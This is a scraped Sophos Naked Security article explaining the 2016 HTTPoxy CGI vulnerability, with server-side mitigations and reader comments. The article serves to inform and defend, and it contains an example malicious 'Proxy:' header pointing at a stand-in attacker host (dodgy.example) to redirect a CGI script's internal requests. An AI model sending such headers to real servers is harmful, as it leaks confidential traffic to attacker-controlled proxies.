HTTPoxy - Web/CGI Data Leakage Vulnerability
https://nakedsecurity.sophos.com/2016/07/19/httpoxy-the-disease-that-could-make-your-web-server-spring-a-leak/
Fortunately this is easy to patch (simply block the Proxy header) on the web server, e.g:
- NGINX: fastcgi_param HTTP_PROXY "";
- Apache: RequestHeader unset Proxy early
- Others Tags: vulnerability httpoxy
More from: nakedsecurity.sophos.com
show/hide source |
https://nakedsecurity.sophos.com/2016/07/19/httpoxy-the-disease-that-could-make-your-web-server-spring-a-leak/
Httpoxy is a set of vulnerabilities that affect application code running in CGI, or CGI-like environments. It comes down to a simple namespace conflict: - RFC 3875 (CGI) puts the HTTP Proxy header from a request into the environment variables as HTTP_PROXYThis means that if you send any requests from your web server to a CGI engine such as PHP (php-fpm, mod_php), you might be at risk of data leakage as an attacher could easily rewrite the http_proxy environment variable used by the CGI application to send an internal connection through a malicious server.
- HTTP_PROXY is a popular environment variable used to configure an outgoing proxy
Fortunately this is easy to patch (simply block the Proxy header) on the web server, e.g:
- NGINX: fastcgi_param HTTP_PROXY "";
- Apache: RequestHeader unset Proxy early
- Others Tags: vulnerability httpoxy
More from: nakedsecurity.sophos.com
show/hide source |
HTTPoxy the disease that could make your web server spring a leak Naked Security [if lt IE 8]> <link rel='stylesheet' id='highlander-comments-ie7-css' href='https://s1.wp.com/wp-content/mu-plugins/highlander-comments/style-ie7.css?m=1351637563h&#038;ver=20110606' type='text/css' media='all' /> <![endif] Jetpack Open Graph Tags .recentcomments a { display: inline !important; padding: 0 !important; margin: 0 !important; } table.recentcommentsavatartop img.avatar, table.recentcommentsavatarend img.avatar { border: 0px; margin: 0; } table.recentcommentsavatartop a, table.recentcommentsavatarend a { border: 0px !important; background-color: transparent !important; } td.recentcommentsavatarend, td.recentcommentsavatartop { padding: 0px 0px 1px 0px; margin: 0px; } td.recentcommentstextend { border: none !important; padding: 0px 0px 2px 10px; } .rtl td.recentcommentstextend { padding: 0px 10px 2px 0px; } td.recentcommentstexttop { border: none; padding: 0px 0px 0px 10px; } .rtl td.recentcommentstexttop { padding: 0px 10px 0px 0px; } Skip to content Naked Security Computer Security News, Advice and Research sophos.com Free Tools Award-winning computer security news Twitter Facebook Google+ LinkedIn Feed HTTPoxy the disease that could make your web server spring a leak 19 Jul 2016 4 Data loss, Vulnerability Post navigation Previous: WikiLeaks suffers sustained attack after announcing release of Turkish government docsNext: Researcher dials for dollars using two-factor authentication phone calls by Paul Ducklin 0Share on Facebook Share on Twitter Share on Google+ Share on LinkedIn Share on Reddit Theres a brand new BWAIN in the house! BWAIN is our just-a-bit-cynical term for Bug With An Impressive Name, a publicity trend that started just over two years ago with Heartbleed. Heartbleed was a sort-of pun, given that the bug allowed you to abuse the TLS/SSL heartbeat function to bleed off random chunks of secret data from a vulnerable server. Everyone loves 15 minutes worth of fame, so the BWAIN bug bit security researchers hard, giving us, in quick order, security holes with funky names such as POODLE and LOGJAM, as well as the more dystopian Shellshock, DROWN, and ImageTragick. Sophos Home Free personal security software for all the family Learn More Introducing HTTPoxy Heres a new one, named so it sounds like a disease: HTTPoxy. Were sure you can work it out for yourself, but, for completeness, well just say that the bug has to do with HTTP requests and poisoned proxy settings. To understand HTTPoxy, you need to know the basics of a web server system known as the Common Gateway Interface (CGI). In the words of CGIs official documentation: The Common Gateway Interface (CGI) is a simple interface for running external programs, software or gateways under an information server in a platform-independent manner. Currently, the supported information servers are HTTP servers. The interface has been in use by the World-Wide Web (WWW) since 1993. In plain English, this means that if you want a web server with features such as a search engine, comments, the ability to look up prices in a database, on-line ordering, support forums and so forth you dont need to program all those functions into the web server itself. Using CGI, the web server can call out to other programs to generate the web content your visitors are looking for, and uses the output of those secondary programs to construct the actual web pages it serves up. Communicating with CGI scripts Web servers and external CGI programs that the servers call out to cant operate entirely independently. Web requests, for example, usually include a number of HTTP headers that influence the sort of replies they are prepared to accept, and that give useful information about the requester. Its handy if the server can pass the headers on to the subprocess that handles the CGI work. The standard technique for handing data from a server to a CGI script is to use what Unix (e.g. the BSDs and OS X), Linux and Windows all call environment variables. That sounds fancy, but its actually rather old-school: environment is a jargon term for a what is really just a list of text strings of the form NAME=VALUE, stored in memory where the process can access them. Thats a surprisingly convenient and simple way of configuring each subprocess so that it can easily find out how and where its running, and adapt its behaviour accordingly. If you open a command prompt in most major operating system distributions, you can view the environment settings of the command prompt process itself simply by typing in the command set: The CGI standard, a document known as RFC 3875 says, rather casually, that in order to support CGI subprocesses properly, a CGI-enabled web server should make every field in the original HTTP headers available to its CGI subprograms by adding them as environment variables. Of course, CGI cant just blindly add environment variables with the same names as the original headers, in case of collisions. Otherwise, a header that happened to be called Path: would overwrite the standard environment variable called PATH=, and that woud be incredibly insecure, because PATH= defines where to look for programs that are launched. A crook could booby-trap a web request with a header such as Path: C:\Users\duck\Downloads, and thereby trick any CGI programs into running software from an unofficial location. That would probably lead to a remote code execution (RCE) vulnerability. Collision avoidance RFC3875 tries to avoid collisions with a rule like this: [Environment variables visible to the CGI subprocess that have] names beginning with HTTP_ contain values read from the client request header fields, if the protocol used is HTTP. The HTTP header field name is converted to upper case, has all occurrences of - replaced with _ and has HTTP_ prepended to give the [environment] variable name. In other words, the crooks booby-trapped Path: header would come out as the environment variable: HTTP_PATH=C:\Users\duck\Downloads Unfortunately, many web-friendly programs, including utilities very likely to be used by CGI scripts, already treat the environment variable HTTP_PROXY= in a special way: they use it to configure their own proxy settings. Simply put, if I send a booby-trapped web request that just happens to contain an otherwise-pointless HTTP header such as this Proxy: http:dodgy.example/crooked_proxy then any CGI scripts that process my request run the risk of seeing the environment variable: HTTP_PROXY=http:dodgy.example/crooked_proxy That means that any HTTP requests that those scripts generate in turn (for example, to perform a database query or to authenticate a user) will not be processed directly, but will instead be sent off to the server dodgy.example, because of the sneaky and unexpected proxy configuration. This could lead to data leakage on a large scale, because scripts that usually process data privately via internal servers may accidentally shuffle confidential HTTP requests off to external servers, controlled by crooks, having been tricking into sending their traffic via a proxy. And that explains both HTTPoxy and why its name was chosen. What to do? Use your web server to strip out Proxy: headers. Theyre redundant at best, because theres no defined use for headers with this name, so you may as well throw them out. The HTTPoxy website has examples on how to do this with various web servers. Check for patches if you use vulnerable CGI configurations. Switch to HTTPS everywhere, inside and out. Generally speaking, the environment variable HTTP_PROXY has no effect on HTTPS connections. Youll also be contributing to a less leaky internet: the sort of online altruism that benefits everyone, including you. Consider blocking outbound requests from your web and CGI servers. If your servers need to go off-site, consider isolating your your processes from the internet by default, and then allowlisting them only for the external content you expect them to need. Follow @NakedSecurity Follow @duckblog BWAINExploitHTTPoxyvulnerability Free tools Sophos Homefor Windows and Mac XG FirewallHome Edition Mobile Securityfor Android Virus Removal Tool Antivirusfor Linux Post navigation Previous: WikiLeaks suffers sustained attack after announcing release of Turkish government docsNext: Researcher dials for dollars using two-factor authentication phone calls About the author Paul Ducklin Paul Ducklin is a passionate security proselytiser. (That's like an evangelist, but more so!) He lives and breathes computer security, and would be happy for you to do so, too. Follow him on Twitter: @duckblog 4 comments on HTTPoxy the disease that could make your web server spring a leak JohnH says: July 19, 2016 at 7:36 pm When you define an environment variable HTTP_PROXY or HTTP_proxy or anything beginning with HTTP_ on a Linux system, absolutely nothing happens. Linux environment variables are case sensitive and the commonly used environment variable to tell a program to use a proxy is http_proxy. I tested this just to be sure. So I dont see the problem for CGI environments running on Linux. With Windows I suppose it could happen. CGI probably isnt that common, but if ASP pages could be affected, or other similar executed environments then I suppose it could be a serious issue. Reply Bryan says: July 19, 2016 at 7:57 pm duck@slack: ~ $ echo -e I cut my *NIX teeth on OBSD and Slackware through guidance from a friend.\nCant deny the convenience of Mint, but I still loves me some Slack\n:-) and as alwaysthanks for the informative reading (and I must confess I like the name of this BWAIN) Reply jet86 says: July 20, 2016 at 2:04 am Theres a typo (an extra /) in HTTP_PROXY=http:/dodgy.example/crooked_proxy Reply Paul Ducklin says: July 20, 2016 at 9:14 am Well spotted :-) Fixed it, thanks. Reply Leave a Reply Cancel reply Recommended reads Jul09 by Paul Ducklin 4 The OpenSSL CVE-2015-1793 certificate verification bug what you need to know Jul06 by Paul Ducklin 0 Amazon releases low-cholesterol Heartbleed medicine called s2n May14 by Paul Ducklin 10 The VENOM virtual machine escape bug what you need to know Jul13 by Paul Ducklin 3 LibreSSL ships first portable version, now up to 48% less huge! Jun04 by Paul Ducklin 10 Move over Heartbleed here comes another SSL/TLS bug Apr10 by Paul Ducklin 27 Heartbleed heartache should you REALLY change all your passwords right away? SOPHOS About Naked Security About Sophos Send us a tip Cookies Privacy Legal Network Protection XG Firewall UTM Secure Wi-Fi Secure Web Gateway Secure Email Gateway Enduser Protection Enduser Protection Bundles Endpoint Antivirus Sophos Cloud Mobile Control SafeGuard Encryption Server Protection Virtualization Security Server Security SharePoint Security Network Storage Antivirus PureMessage Twitter Facebook Google+ LinkedIn Feed 1997 - 2016 Sophos Ltd. All rights reserved. Powered by WordPress.com VIP